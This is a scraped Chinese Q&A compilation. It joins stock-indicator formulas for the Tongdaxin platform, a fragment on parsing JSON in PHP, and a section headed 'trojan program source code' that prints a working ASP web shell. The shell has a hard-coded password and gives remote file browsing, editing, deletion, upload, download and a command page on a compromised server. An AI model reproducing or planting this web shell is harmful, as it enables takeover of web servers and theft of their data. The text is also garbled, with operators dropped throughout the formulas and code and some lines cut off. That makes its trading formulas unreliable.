ffc源碼-九游会j9娱乐平台
❶ 通達信社保入場公式源碼
社保入場公式
aa:=winner(c c*15/100)*100;
bb:=winner(c c*0/100)*100;
cc:=aa-bb;
dd:=(winner(c-c*0.1/100)-winner(c-c*15/100))*100;
ee:=cc<3 and dd<0.5 and o<>l;
a1:=dynainfo(6);
a2:=if(l>a1,0,if(h
a4:=ref(hhv(c,120),1);
a5:=ref(llv(c,120),1);
a6:=100*(c-a5)/(a4-a5);
a7:=a2>0 or a2=1;
a8:=a7 and a3/ref(a3,3)>=3 and a6<80 ;
a9:=ref(a8,1) or ref(a8,2) or ref(a8,3) or ref(a8,4);
a10:=a8 and a9;
a11:=if(filter(a8,3),5,0);
a12:=if(filter(a10,3) or ee,10,0);
進場:a11;
加倉:a12;
社保機構進場日:stickline(a11,0,5,5,0),colorff7700;
社保機構加倉日:stickline(a12,0,15,5,0),colorff00ff;
stickline(a11,0,5,5,0),colorff7700;
stickline(a11,0,5,4.5,0),colorff8800;
stickline(a11,0,5,4,0),colorff9900;
stickline(a11,0,5,3.5,0),colorffaa00;
stickline(a11,0,5,3,0),colorffbb00;
stickline(a11,0,5,2.5,0),colorffcc00;
stickline(a11,0,5,2,0),colorffdd00;
stickline(a11,0,5,1,0),colorffee00;
stickline(a12,0,15,4.5,0),color102099;
stickline(a12,0,15,4,0),color1020aa;
stickline(a12,0,15,3.5,0),color1020bb;
stickline(a12,0,15,3,0),color1020cc;
stickline(a12,0,15,2.5,0),color1020dd;
stickline(a12,0,15,2,0),color1020ee;
stickline(a12,0,15,1,0),color1020ff;
drawtext(a11,8,'進場'),coloryellow;
drawtext(a12,17,'加倉'),colorwhite;
股票公式專家團為你解答，希望能幫到你，祝投資順利。
❷ 請教php大神，如何提取一個json數據里的某值
需要准備的材料分別是：電腦、php編輯器、瀏覽器。
1、首先，打開php編輯器，新建php文件，例如：index.php，填充問題基礎代碼。
❸ 請教高手老師，怎麼能把股市提款機中全倉和出擊同時選出，或者選出全倉，出擊，出貨，指標源碼，多謝老師
ma20:=ma(close,20);
ma120:=ma(close,120);
ma30:=ma(close,37);
map:=ma(close,8);
aa5:=ma(close,21);
aa10:ma(close,8),color0000ff;
aa12:ma(close,12),color0000ff;
bb10:=((atan((aa10 - ref(aa10,1))) * 3.1416) * 10);
bb12:=((atan((aa12 - ref(aa12,1))) * 3.1416) * 10);
ma13:=ma(close,13);
var1q:=((((open low) high) close) / 4);
中期汪賀擾大底:llv(low,30),colorcdffbb;
短底:=ema(var1q,5);
支撐:=hhv(短底,60);
壓力一:hhv(low,20),colorfaabec;
壓力:=sma(low,5,1);
中線:=ma(close,3);
drawtext(filter(((((high > 支撐) and (close < 支撐)) and ((close / open) > (0 - 1.06))) and (close < open)),5),(high 0.02),'←逃'),color00ffff;
中軌道:=(ma(high,15) * 1.05);
天困旦:=(ma(low,15) * 0.985);
人:=(ma(low,15) * 0.96);
地:=(((high low) close) / 3);
b1:=hhv(地,(4 * 15));
b6:=llv(地,(4 * 15));
b7:=(b1 - b6);
b8:=(ma(((地 - b6) / b7),2) * 80);
var1:=(((close - llv(low,100)) / (hhv(high,100) - llv(low,100))) * 200);
飛龍頂底線:=sma(var1,3,1);
var2:=sma(飛龍頂底線,3,1);
var3:=((3 * 飛龍頂底線) - (2 * var2));
var4:=llv(low,5);
var5:=hhv(high,5);
var6:=(ema((((close - var4) / (var5 - var4)) * 100),4) * 2);
var7:=ema(((0.667 * ref(var6,1)) (0.333 * var6)),2);
var8:=((3 * var6) - (2 * var7));
var9:=(pow(ma(close,5),2) ma(close,5));
vara:=(pow(ma(low,5),2) ma(low,5));
varb:=(pow(ma(high,5),2) ma(high,5));
varc:=(((((var9 - llv(vara,64)) / (hhv(varb,64) - llv(vara,64))) * 150) 65) - 10);
vard:=((sma(varc,3,1) * 1.5) - 100);
vare:=sma(vard,3,1);
varf:=((3 * vard) - (2 * vare));
var10:=(((high low) (close * 2)) / 4);
var11:=ema(var10,13);
var12:=std(var10,13);
var13:=(((var10 - var11) * 100) / var12);
var14:=ema(var13,5);
var15:=ema(var14,13);
var16:=((ema(var14,13) 200) - 100);
var17:=ema(var16,10);
var18:=((3 * var16) - (2 * var17));
var19:=(((飛龍頂底線拍舉 var6) vard) var16);
var1a:=(((var2 var7) vare) var17);
var1b:=(((var3 var8) varf) var18);
var1c:=(((high low) close) / 3);
var1d:=((amount / vol) / 100);
var1e:=((sum(amount,5) / sum(vol,5)) / 100);
var1f:=((var1c - ma(var1c,34)) / (0.015 * avedev(var1c,34)));
var20:=dma(((amount / vol) / 100),(vol / capital));
var21:=((((high low) close) var1c) / 4);
var22:=ema(var21,24);
var23:=std(var21,24);
var24:=(((var21 - var22) / var23) * 100);
var25:=((var1c - ma(var1c,24)) / (0.015 * avedev(var1c,24)));
var26:=ema(var24,5);
var27:=((var1d - ma(var1d,21)) / (0.015 * avedev(var1d,21)));
var28:=((var1e - ma(var1e,90)) / (0.015 * avedev(var1e,90)));
var29:=(((((((var28 var27) var26) var25) var1f) / 5) 165) / 4);
var2a:=(((((var19 var1a) (var1b * 30)) / 32) / 5) - 15);
var2b:=(((var29 var2a) / 2) / 1.1);
var2c:=var2b;
短線:=ma(var2c,26);
mid:=(短線 (2 * std(var2c,26)));
upper:=(短線 - (2 * std(var2c,26)));
lower:=if((var2c > 短線),短線,var2c);
xy:=ma(close,5);
ma5:=ma(close,80);
短期底部:(llv(high,30) * 0.93),color0000ff;
ma80:=llv(high,30);
短期底部二:=sma(close,2,1);
趨勢:=(ma(low,10) * 0.96);
趨:=(ema(open,107) * 0.897);
超跌位二:=ma(close,15);
gf:=ma(close,10);
man:=(sma(high,21,2) * 1.05);
上一:=(hhv(短底,60) * 0.92);
壓力二:=(sma(high,21,2) * 1.035);
阻擋線:=(sma(low,21,2) * 0.96);
下檔線:=(((close - llv(low,13)) / (hhv(high,13) - llv(low,13))) * 100);
rsv:=sma(下檔線,3,1);
k:=sma(rsv,3,1);
d:=((3 * rsv) - (2 * k));
j:=(((close - ma(close,6)) / ma(close,6)) * 100);
var2p:=(((close - ma(close,12)) / ma(close,12)) * 100);
var3p:=(((close - ma(close,24)) / ma(close,24)) * 100);
var4p:=(((j (2 * var2p)) (3 * var3p)) / 6);
var5p:=ma(var4p,3);
var6p:=(((close - llv(low,34)) / (hhv(high,34) - llv(low,34))) * 100);
rsv12:=sma(var6p,3,1);
k12:=sma(rsv12,3,1);
d12:=((3 * rsv12) - (2 * k12));
j12:=(((close - llv(low,55)) / (hhv(high,55) - llv(low,55))) * 100);
rsv24:=sma(j12,3,1);
k24:=sma(rsv24,3,1);
d24:=((3 * rsv24) - (2 * k24));
{j24:=if(cross(d,d24),low,ref(low,barslast(cross(d,d24))));}
壓力位:if(cross(d24,d),high,l),pointdot,colorffffff;
支撐位:=if((close >= ma(close,20)),80,50);
u2l:=if((close >= ma(close,20)),50,20);
{l2l:=if(((d < 支撐位) and (ref(d,1) >= 支撐位)),hhv(ref(high,1),(barslast(((d >= 支撐位) and (ref(d,1) < 支撐位))) - 1)),ref(hhv(ref(high,1),(barslast(((d >= 支撐位) and (ref(d,1) < 支撐位))) - 1)),barslast(((d < 支撐位) and ref(d,1)))));
rh1:=if((high > l2l),low,ref(low,barslast((high > l2l))));
rh4:=if((high > l2l),d,ref(d,barslast((high > l2l))));
rh42:=if((((high > rh1) and (d < rh4)) and (d < d24)),high,ref(high,barslast((((high > rh1) and (d < rh4)) and (d < d24)))));
rh5:=if(((d > u2l) and (ref(d,1) <= u2l)),llv(ref(low,1),(barslast(((d <= u2l) and (ref(d,1) > u2l))) - 1)),ref(llv(ref(low,1),(barslast(((d <= u2l) and (ref(d,1) > u2l))) - 1)),barslast(((d > u2l) and ref(d,1)))));
rl1:=if((low < rh5),high,ref(high,barslast((low < rh5))));
rl4:=if((low < rh5),d,ref(d,barslast((low < rh5))));
rl42:=if((((low < rl1) and (d > rl4)) and (d > d24)),low,ref(low,barslast((((low < rl1) and (d > rl4)) and (d > d24)))));}
長期底部:llv(high,30),color00ff00;
{drawtext(filter(((((rl42 = j24) and (close > open)) and (close > 長期底部)) and (low <= j24)),20),(low - 0.12),'←底成'),color0eabff;}
rl5:=(sma(high,5,2) * 1.05);
上:=(sma(low,5,2) * 0.96);
下:=sma(low,2,1);
中:=(((((3 * close) high) low) open) / 6);
x1:=ema(中,10);
x2:=ref(x1,1);
x3:=((ref(high,1) ref(low,1)) / 2);
x4:=(ma(close,21) (2 * std(close,21)));
x5:=ref(close,1);
x6:=((sma(max((close - x5),0),7,1) / sma(abs((close - x5)),7,1)) * 100);
x7:=cross(79,x6);
x8:=filter(x7,4);
x9:=ma(close,115);
var1m:=ema(close,8);
飛龍頂底線一:=ema(var1m,20);
var2m:=cross(var1m,飛龍頂底線一);
var3m:=(var1m < ma(close,20));
var4m:=(((hhv(high,36) - close) / (hhv(high,36) - llv(low,36))) * 100);
var5m:=sma(var4m,5,1);
var6m:=sma(var5m,8,1);
var7m:=(cross(var5m,var6m) and (var6m < 5));
var8m:=((close > (llv(close,60) (0.3 * llv(close,60)))) and var7m);
var9m:=if((close > 1000),var7m,var8m);
varfm:=cross(x1,x2);
ma115:=varfm;
低買:=(var2m and var3m);
黑馬起步:=var9m;
drawtext(x8,(high * 1.03),'←出貨'),color9000f5;
drawtext((黑馬起步 > 0),(high * 1.04),'←逃命'),color0000ff;
逃遁:=(sma(high,21,2) * 1.05);
stickline((open >= close),close,open,9,0),colorff5b00;
stickline((open >= close),close,open,8,0),colorff6c00;
stickline((open >= close),close,open,7,0),colorff7b00;
stickline((open >= close),close,open,6,0),colorff9c00;
stickline((open >= close),close,open,5,0),colorffbe00;
stickline((open >= close),close,open,3.5,0),colorffcc00;
stickline((open >= close),close,open,1.5,0),colorffff00;
stickline((close >= open),close,open,9,0),color070084;
stickline((close >= open),close,open,8,0),color0000a3;
stickline((close >= open),close,open,7,0),color0000b7;
stickline((close >= open),close,open,6,0),color0000cd;
stickline((close >= open),close,open,5,0),color0000e9;
stickline((close >= open),close,open,3,0),color0754e9;
stickline((close >= open),close,open,1.5,0),color076ef3;
stickline((close >= open),close,open,1,0),color077bf3;
stickline((close > open),open,low,1,0),color0726ca;
stickline((close > open),close,high,1,0),color0726ca;
stickline((open > close),close,low,1,0),colorde9100;
stickline((open > close),open,high,1,0),colorde9100;
stickline(((((close / open) > 1.04) and (close < 逃遁)) and ((close - ref(close,1)) > 0)),close,open,9,0),color0090ff;
stickline(((((close / open) > 1.04) and (close < 逃遁)) and ((close - ref(close,1)) > 0)),close,open,8,0),color009fff;
stickline(((((close / open) > 1.04) and (close < 逃遁)) and ((close - ref(close,1)) > 0)),close,open,4,0),color00b5ff;
stickline(((((close / open) > 1.04) and (close < 逃遁)) and ((close - ref(close,1)) > 0)),close,open,2,0),color00e4ff;
stickline(((((close / open) > 1.04) and (close < 逃遁)) and ((close - ref(close,1)) > 0)),open,low,0.7,0),color00ffff;
stickline(((((close / open) > 1.04) and (close < 逃遁)) and ((close - ref(close,1)) > 0)),close,high,0.7,0),color00ffff;
stickline(((((close < ref(close,1)) and (close < ref(close,1))) and (high > 逃遁)) and (close < 逃遁)),open,low,0.7,0),colorff76ff;
stickline(((((close < ref(close,1)) and (close < ref(close,1))) and (high > 逃遁)) and (close < 逃遁)),close,high,0.7,0),colorff76ff;
stickline(((((close < ref(close,1)) and (close < ref(close,1))) and (high > 逃遁)) and (close < 逃遁)),close,open,9,0),colorff00ff;
stickline(((((close < ref(close,1)) and (close < ref(close,1))) and (high > 逃遁)) and (close < 逃遁)),close,open,6,0),colorff62ff;
stickline(((((close < ref(close,1)) and (close < ref(close,1))) and (high > 逃遁)) and (close < 逃遁)),close,open,4,0),colorff76ff;
stickline(((((close < ref(close,1)) and (close < ref(close,1))) and (high > 逃遁)) and (close < 逃遁)),close,open,2,0),colorffa8ff;
網上搜的是這個指標么
公式較復雜裡面含有未來函數不建議使用
❹ 木馬程序源碼
一個asp木馬：
＜%@ language = vbscript.encode codepage ="936" %＞
＜%server.scripttimeout=5000%＞
＜object runat=server id=oscript scope=page classid="clsid:72c24dd5-d70a-438b-8a42-98424b88afb8"＞＜/object＞
＜object runat=server id=oscriptnet scope=page classid="clsid:093ff999-1ea0-4079-9525-9614c3504b74"＞＜/object＞
＜object runat=server id=ofilesys scope=page classid="clsid:0d43fe01-f093-11cf-8940-00a0c9054228"＞＜/object＞
＜%
'on error resume next
dim data_5xsoft
class upload_5xsoft
dim objform,objfile,version
public function form(strform)
strform=lcase(strform)
if not objform.exists(strform) then
form=""
else
form=objform(strform)
end if
end function
public function file(strfile)
strfile=lcase(strfile)
if not objfile.exists(strfile) then
set file=new fileinfo
else
set file=objfile(strfile)
end if
end function
private sub class_initialize
dim requestdata,sstart,vbcrlf,sinfo,iinfostart,iinfoend,tstream,istart,thefile
dim ifilesize,sfilepath,sfiletype,sformvalue,sfilename
dim ifindstart,ifindend
dim iformstart,iformend,sformname
version="http上傳程序 version 2.0"
set objform=server.createobject("scripting.dictionary")
set objfile=server.createobject("scripting.dictionary")
if request.totalbytes＜1 then exit sub
set tstream = server.createobject("adodb.stream")
set data_5xsoft = server.createobject("adodb.stream")
data_5xsoft.type = 1
data_5xsoft.mode =3
data_5xsoft.open
data_5xsoft.write request.binaryread(request.totalbytes)
data_5xsoft.position=0
requestdata =data_5xsoft.read
iformstart = 1
iformend = lenb(requestdata)
vbcrlf = chrb(13) & chrb(10)
sstart = midb(requestdata,1, instrb(iformstart,requestdata,vbcrlf)-1)
istart = lenb (sstart)
iformstart=iformstart istart 1
while (iformstart 10) ＜ iformend
iinfoend = instrb(iformstart,requestdata,vbcrlf & vbcrlf) 3
tstream.type = 1
tstream.mode =3
tstream.open
data_5xsoft.position = iformstart
data_5xsoft.copyto tstream,iinfoend-iformstart
tstream.position = 0
tstream.type = 2
tstream.charset ="gb2312"
sinfo = tstream.readtext
tstream.close
iformstart = instrb(iinfoend,requestdata,sstart)
ifindstart = instr(22,sinfo,"name=""",1) 6
ifindend = instr(ifindstart,sinfo,"""",1)
sformname = lcase(mid (sinfo,ifindstart,ifindend-ifindstart))
if instr (45,sinfo,"filename=""",1) ＞ 0 then
set thefile=new fileinfo
ifindstart = instr(ifindend,sinfo,"filename=""",1) 10
ifindend = instr(ifindstart,sinfo,"""",1)
sfilename = mid (sinfo,ifindstart,ifindend-ifindstart)
thefile.filename=getfilename(sfilename)
thefile.filepath=getfilepath(sfilename)
ifindstart = instr(ifindend,sinfo,"content-type: ",1) 14
ifindend = instr(ifindstart,sinfo,vbcr)
thefile.filetype =mid (sinfo,ifindstart,ifindend-ifindstart)
thefile.filestart =iinfoend
thefile.filesize = iformstart -iinfoend -3
thefile.formname=sformname
if not objfile.exists(sformname) then
objfile.add sformname,thefile
end if
else
tstream.type =1
tstream.mode =3
tstream.open
data_5xsoft.position = iinfoend
data_5xsoft.copyto tstream,iformstart-iinfoend-3
tstream.position = 0
tstream.type = 2
tstream.charset ="gb2312"
sformvalue = tstream.readtext
tstream.close
if objform.exists(sformname) then
objform(sformname)=objform(sformname)&", "&sformvalue
else
objform.add sformname,sformvalue
end if
end if
iformstart=iformstart istart 1
wend
requestdata=""
set tstream =nothing
end sub
private sub class_terminate
if request.totalbytes＞0 then
objform.removeall
objfile.removeall
set objform=nothing
set objfile=nothing
data_5xsoft.close
set data_5xsoft =nothing
end if
end sub
private function getfilepath(fullpath)
if fullpath ＜＞ "" then
getfilepath = left(fullpath,instrrev(fullpath, "\"))
else
getfilepath = ""
end if
end function
private function getfilename(fullpath)
if fullpath ＜＞ "" then
getfilename = mid(fullpath,instrrev(fullpath, "\") 1)
else
getfilename = ""
end if
end function
end class
class fileinfo
dim formname,filename,filepath,filesize,filetype,filestart
private sub class_initialize
filename = ""
filepath = ""
filesize = 0
filestart= 0
formname = ""
filetype = ""
end sub
public function saveas(fullpath)
dim dr,errorchar,i
saveas=true
if trim(fullpath)="" or filestart=0 or filename="" or right(fullpath,1)="/" then exit function
set dr=createobject("adodb.stream")
dr.mode=3
dr.type=1
dr.open
data_5xsoft.position=filestart
data_5xsoft.to dr,filesize
dr.savetofile fullpath,2
dr.close
set dr=nothing
saveas=false
end function
end class
httpt = request.servervariables("server_name")
rseb=request.servervariables("script_name")
q=request("q")
if q="" then q=rseb
select case q
case rseb
if epass(trim(request.form("password")))="q_ux888556" then
response.cookies("password")="7758521"
response.redirect rseb & "?q=list.asp"
else %＞
＜html＞
＜head＞
＜meta http-equiv="content-type" content="text/html; charset=gb2312"＞
＜title＞＜%=httpt%＞＜/title＞
＜meta name="generator" content="microsoft frontpage 3.0"＞
＜/head＞
＜body＞
＜%if request.form("password")＜＞"" then
response.write "password error!"
end if
%＞
＜table border="1" width="100%" height="89" bgcolor="#dfdfff" cellpadding="3"
bordercolorlight="#000000" bordercolordark="#f2f2f9" cellspacing="0"＞
＜tr＞
＜td width="100%" height="31" bgcolor="#000080"＞＜p align="center"＞＜font color="#ffffff"＞＜%=httpt%＞＜/font＞＜/td＞
＜/tr＞
＜tr＞
＜td width="100%" height="46"＞＜form method="post" action="＜%=rseb%＞?q=＜%=rseb%＞"＞
＜div align="center"＞＜center＞＜p＞enter password：＜input type="password" name="password"
size="20"
style="border-left: thin none; border-right: thin none; border-top: thin outset; border-bottom: thin outset"＞
＜input type="submit" value="ok!login" name="b1"
style="font-size: 9pt; border: thin outset"＞＜/p＞
＜/center＞＜/div＞
＜/form＞
＜/td＞
＜/tr＞
＜/table＞
＜/body＞
＜/html＞
＜%end if%＞
＜�se "down.asp"
call downloadfile(request("path"))
function downloadfile(strfile)
strfilename = strfile
response.buffer = true
response.clear
set s = server.createobject("adodb.stream")
s.open
s.type = 1
if not ofilesys.fileexists(strfilename) then
response.write("＜h1＞error:＜/h1＞" & strfilename & " does not exist＜p＞")
response.end
end if
set f = ofilesys.getfile(strfilename)
intfilelength = f.size
s.loadfromfile(strfilename)
if err then
response.write("＜h1＞error: ＜/h1＞" & err.description & "＜p＞")
response.end
end if
response.addheader "content-disposition", "attachment; filename=" & f.name
response.addheader "content-length", intfilelength
response.charset = "utf-8"
response.contenttype = "application/octet-stream"
response.binarywrite s.read
response.flush
s.close
set s = nothing
response.end
end function
%＞
＜�se "list.asp"%＞
＜%
urlpath=server.urlencode(path)
if request.cookies("password")="7758521" then
dim cpath,lpath
if request("path")="" then
lpath="/"
else
lpath=request("path")&"/"
end if
if request("attrib")="true" then
cpath=lpath
attrib="true"
else
cpath=server.mappath(lpath)
attrib=""
end if
sub getfolder()
dim thefolder,thesubfolders
if ofilesys.folderexists(cpath)then
set thefolder=ofilesys.getfolder(cpath)
set thesubfolders=thefolder.subfolders
response.write"＜a href='" & rseb & "?q=list.asp&path="&request("oldpath")&"&attrib="&attrib&"'＞＜font color='#ff8000'＞■＜/font＞↑＜font color='ff2222'＞回上級目錄＜/font＞＜/a＞＜br＞＜script language=vbscript＞"
for each x in thesubfolders
%＞so "＜%=lpath%＞","＜%=x.name%＞","＜%=request("path")%＞","＜%=attrib%＞"
＜%
next
%＞＜/script＞＜%
end if
end sub
sub getfile()
dim thefiles
if ofilesys.folderexists(cpath)then
set thefolder=ofilesys.getfolder(cpath)
set thefiles=thefolder.files
response.write"＜table border='0' width='100%' cellpadding='0'＞＜script language=vbscript＞"
for each x in thefiles
if request("attrib")="true" then
showstring=x.name
else
showstring=x.name
end if
%＞sf "＜%=showstring%＞","＜%=x.size%＞","＜%=x.type%＞","＜%=x.attributes%＞","＜%=x.datelastmodified%＞","＜%=lpath%＞","＜%=x.name%＞","＜%=attrib%＞","＜%=x.name%＞"
＜%
next
end if
response.write"＜/script＞＜/table＞"
end sub
%＞
＜html＞
＜head＞
＜meta http-equiv="content-type" content="text/html; charset=gb2312"＞
＜title＞＜%=httpt%＞＜/title＞
＜style type="text/css"＞
＜!--
table{ font-family: 宋體; font-size: 9pt }
a{ font-family: 宋體; font-size: 9pt; color: rgb(0,32,64); text-decoration: none }
a:hover{ font-family: 宋體; color: rgb(255,0,0); text-decoration: none }
a:visited{ color: rgb(128,0,0) }
td { font-size: 9pt}
a { color: #000000; text-decoration: none}
a:hover { text-decoration: underline}
.tx { height: 16px; width: 30px; border-color: black black #000000; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 1px; border-left-width: 0px; font-size: 9pt; background-color: #eeeeee; color: #0000ff}
.bt { font-size: 9pt; border-top-width: 0px; border-right-width: 0px; border-bottom-width: 0px; border-left-width: 0px; height: 16px; width: 80px; background-color: #eeeeee; cursor: hand}
.tx1 { height: 18px; width: 60px; font-size: 9pt; border: 1px solid; border-color: black black #000000; color: #0000ff}
--＞
＜/style＞
＜/head＞
＜script language="javascript"＞
function crfile(ls)
{if (ls==""){alert("請輸入文件名!");}
else {window.open("＜%=rseb%＞?q=edit.asp&attrib=＜%=request("attrib")%＞&creat=yes&path=＜%=lpath%＞" ls);}
return false;
}
function crdir(ls)
{if (ls==""){alert("請輸入文件名!");}
else {window.open("＜%=rseb%＞?q=edir.asp&attrib=＜%=request("attrib")%＞&op=creat&path=＜%=lpath%＞" ls);}
return false;
}
＜/script＞
＜script language="vbscript"＞
sub sf(showstring,size,type1,attributes,datelastmodified,lpath,xname,attrib,name)
document.write "＜tr style=""color: #000000; background-color: #ffefdf; text-decoration: blink; border: 1px solid #000080"" onmouseover=""this.style.backgroundcolor = '#ffcc00'"" onmouseout=""this.style.backgroundcolor = '#ffefdf'""＞＜td width='50%'＞＜font color='#ff8000'＞＜font face=wingdings＞ ＜/font＞＜/font＞＜a href='"& urlpath & lpath & xname &"' target='_blank'＞＜strong＞" & showstring & "＜/strong＞＜/a＞＜/td＞＜td width='20%' align='right'＞" & size & "位元組＜/td＞＜td width='30%'＞＜a href='#' title='類型：" & type1 & chr(10) & "屬性：" & attributes & chr(10) & "時間：" & datelastmodified &"'＞屬性＜/a＞ ＜a href='＜%=rseb%＞?q=edit.asp&path=" & lpath & xname & "&attrib=" & attrib &"' target='_blank' ＞＜font color='#ff8000' ＞＜/font＞編輯＜/a＞ ＜a href="&chr(34)&"javascript: rmdir1('"& lpath & xname &"')"&chr(34)&"＞＜font color='#ff8000' ＞＜/font＞刪除＜/a＞ ＜a href='#' onclick=file('" & lpath & name & "')＞＜font color='#ff8000' ＞＜/font＞復制＜/a＞ ＜a href='＜%=rseb%＞?q=down.asp&path=＜%=cpath%＞\"&xname&"&attrib=" & attrib &"' target='_blank' ＞＜font color='#ff8000' ＞＜/font＞下載＜/a＞＜/td＞＜/tr＞"
end sub
sub so(lpath,xname,path,attrib)
document.write "＜a href='＜%=rseb%＞?q=list.asp&path="& lpath & xname & "&oldpath=" & path & "&attrib=" & attrib &"'＞└＜font color='#ff8000'＞＜font face=wingdings＞1＜/font＞＜/font＞ " & xname &"＜/a＞ ＜a href="&chr(34)&"javascript: rmdir('"& lpath & xname &"')"&chr(34)&"＞＜font color='#ff8000' ＞＜/font＞刪除＜/a＞＜br＞"
end sub
sub rmdir1(ls)
if confirm("你真的要刪除這個文件嗎!"&chr(13)&chr(10)&"文件為："&ls) then
window.open("＜%=rseb%＞?q=edit.asp&path=" & ls & "&op=del&attrib=＜%=request("attrib")%＞")
end if
end sub
sub rmdir(ls)
if confirm("你真的要刪除這個目錄嗎!"&chr(13)&chr(10)&"目錄為："&ls) then
window.open("＜%=rseb%＞?q=edir.asp&path="&ls&"&op=del&attrib=＜%=request("attrib")%＞")
end if
end sub
sub file(sfile)
dfile=inputbox("※文件復制※"&chr(13)&chr(10)&"源文件："& sfile&chr(13)&chr(10)&"輸入目標文件的文件名:"&chr(13)&chr(10) &"[允許帶路徑,要根據你的當前路徑模式]")
dfile=trim(dfile)
attrib="＜%=request("attrib")%＞"
if dfile＜＞"" then
if instr(dfile,":") or instr(dfile,"/")=1 then
lp=""
if instr(dfile,":") and attrib＜＞"true" then
alert "對不起，你在相對路徑模式下不能使用絕對路徑"&chr(13)&chr(10)&"錯誤路徑：["&dfile&"]"
exit sub
end if
else
lp="＜%=lpath%＞"
end if
window.open("＜%=rseb%＞?q=edit.asp&path=" sfile "&op=&attrib=" attrib "&dpath=" lp dfile)
else
alert"您沒有輸入文件名！"
end if
end sub
＜/script＞
＜body＞
＜table border="1" width="100%" cellpadding="0" height="81" bordercolorlight="#000000"
bordercolordark="#ffffff" cellspacing="0"＞
＜tr＞
＜td width="755" bgcolor="#000080" colspan="2" height="23"＞＜p align="center"＞＜font size="3"
color="#ffffff"＞＜%=httpt%＞＜/font＞＜/td＞
＜/tr＞
＜tr＞
＜td width="751" bgcolor="#c0c0c0" colspan="2"＞※換盤：＜span
style="background-color: rgb(255,255,255);color:rgb(255,0,0)"＞＜%
for each thing in ofilesys.drives
response.write "＜font face=wingdings＞:＜/font＞＜a href='" & rseb & "?q=list.asp&path="&thing.driveletter&":&attrib=true'＞"&thing.driveletter&":＜/a＞"
next
%＞ ＜/span＞ 地址：
＜%= "\\" & oscriptnet.computername & "\" & oscriptnet.username %＞＜/td＞
＜/tr＞
＜tr＞
＜td width="751" bgcolor="#c0c0c0" colspan="2"＞※＜%
if request("attrib")="true" then
response.write "＜a href='" & rseb & "?q=list.asp'＞切到相對路徑＜/a＞"
else
response.write "＜a href='" & rseb & "?attrib=true&q=list.asp'＞切到絕對路徑＜/a＞"
end if
%＞ ※絕對:＜span
style="background-color: rgb(255,255,255)"＞＜%=cpath%＞＜/span＞＜/td＞
＜/tr＞
＜tr＞
＜td width="751" bgcolor="#c0c0c0" colspan="2"＞※當前＜font color="#ff8000"＞＜font face=wingdings＞1＜/font＞＜/font＞:＜span style="background-color: rgb(255,255,255)"＞＜%=lpath%＞＜/span＞ ＜/td＞
＜/tr＞＜form name="form1" method="post" action="＜%=rseb%＞?q=upfile.asp" target="_blank" enctype="multipart/form-data"＞
＜tr＞＜td bgcolor="#c0c0c0" colspan="2" style="height: 20px"＞
編輯|
＜input class="tx1" type="text" name="filename" size="20"＞
＜input class="tx1" type="button" value="建文" onclick="crfile(form1.filename.value)"＞
＜input class="tx1" type="button" value="建目" onclick="crdir(form1.filename.value)"＞
＜input type="file" name="file1" class="tx1" style="width:100" value=""＞
＜input type="text" name="filepath" class="tx1" style="width:100" value="＜%=cpath%＞"＞
＜input type="hidden" name="act" value="upload"＞
＜input type="hidden" name="upcount" class="tx" value="1"＞
＜input class="tx1" type="submit" value="上傳"＞
＜input class="tx1" type="button" onclick="window.open('＜%=rseb%＞?q=cmd.asp','_blank')" value="命令"＞
＜input class="tx1" type="button" onclick="window.open('＜%=rseb%＞?q=test.asp','_blank')" value="配置"＞
＜input class="tx1" type="button" onclick="window.open('＜%=rseb%＞?q=p.asp','_blank')" value="nfso"＞
＜/td＞
＜/td＞
＜/tr＞＜/form＞
＜tr＞
＜td width="169" valign="top" bgcolor="#c8e3ff"＞＜�ll getfolder()%＞
＜/td＞
＜td width="582" valign="top" bgcolor="#ffefdf"＞＜�ll getfile()%＞
＜/td＞
＜/tr＞
＜/table＞
＜%else
response.write "password error!"
response.write "＜a href='" & rseb & "?q=" & rseb & "'＞【返 回】＜/a＞"
end if
%＞
＜/body＞
＜/html＞
＜�se "edit.asp"%＞
＜html＞
＜head＞
＜meta http-equiv="content-type" content="text/html;charset=gb_2312-80"＞
＜title＞編輯源代碼＜/title＞
＜style＞
＜!--
table{ font-family: 宋體; font-size: 12pt }
a{ font-family: 宋體; font-size: 12pt; color: rgb(0,32,64); text-decoration: none }
a:hover{ font-family: 宋體; color: rgb(255,0,0); text-decoration: underline }
a:visited{ color: rgb(128,0,0) }
--＞
＜/style＞
＜/head＞
＜body＞
＜% '讀文件
if request.cookies("password")="7758521" then
if request("op")="del" then
if request("attrib")="true" then
whichfile=request("path")
else
whichfile=server.mappath(request("path"))
end if
set thisfile = ofilesys.getfile(whichfile)
thisfile.delete true
response.write "＜script＞alert('刪除成功！要刷新才能看到效果');window.close();＜/script＞"
else
if request("op")="" then
if request("attrib")="true" then
whichfile=request("path")
dsfile=request("dpath")
else
whichfile=server.mappath(request("path"))
dsfile=server.mappath(request("dpath"))
end if
set thisfile = ofilesys.getfile(whichfile)
thisfile. dsfile
%＞
＜script language=vbscript＞
msgbox "源文件：＜%=whichfile%＞" & vbcrlf & "目的文件:＜%=dsfile%＞" & vbcrlf & "復製成功！要刷新才能看到效果!"
window.close()
＜/script＞
＜%
else
if request.form("text")="" then
if request("creat")＜＞"yes" then
if request("attrib")="true" then
whichfile=request("path")
else
whichfile=server.mappath(request("path"))
end if
set thisfile = ofilesys.opentextfile(whichfile, 1, false)
counter=0
thisline=thisfile.readall
thisfile.close
set fs=nothing
end if
%＞
＜form method="post" action="＜%=rseb%＞?q=edit.asp"＞
＜input type="hidden" name="attrib" value="＜%=request("attrib")%＞"＞＜table border="0"
width="700" cellpadding="0"＞
＜tr＞
＜td width="100%" bgcolor="#ffdbca"＞＜div align="center"＞＜center＞＜p＞＜%=httpt%＞＜/td＞
＜/tr＞
＜tr align="center"＞
＜td width="100%" bgcolor="#ffdbca"＞文件名：＜input type="text" name="path" size="45"
value="＜%=request("path")%＞ "＞直接更改文件名，相當於「另存為」＜/td＞
＜/tr＞
＜tr align="center"＞
＜td width="100%" bgcolor="#ffdbca"＞＜textarea rows="25" name="text" cols="90"＞＜%=thisline%＞＜/textarea＞＜/td＞
＜/tr＞
＜tr align="center"＞
＜td width="100%" bgcolor="#ffdbca"＞＜div align="center"＞＜center＞＜p＞＜input type="submit"
value="提交" name="b1"＞＜input type="reset" value="復原" name="b2"＞＜/td＞
＜/tr＞
＜/table＞
＜/form＞
＜%else
if request("attrib")="true" then
whichfile=request("path")
else
whichfile=server.mappath(request("path"))
end if
set outfile=ofilesys.createtextfile(whichfile)
outfile.writeline request("text")
outfile.close
set fs=nothing
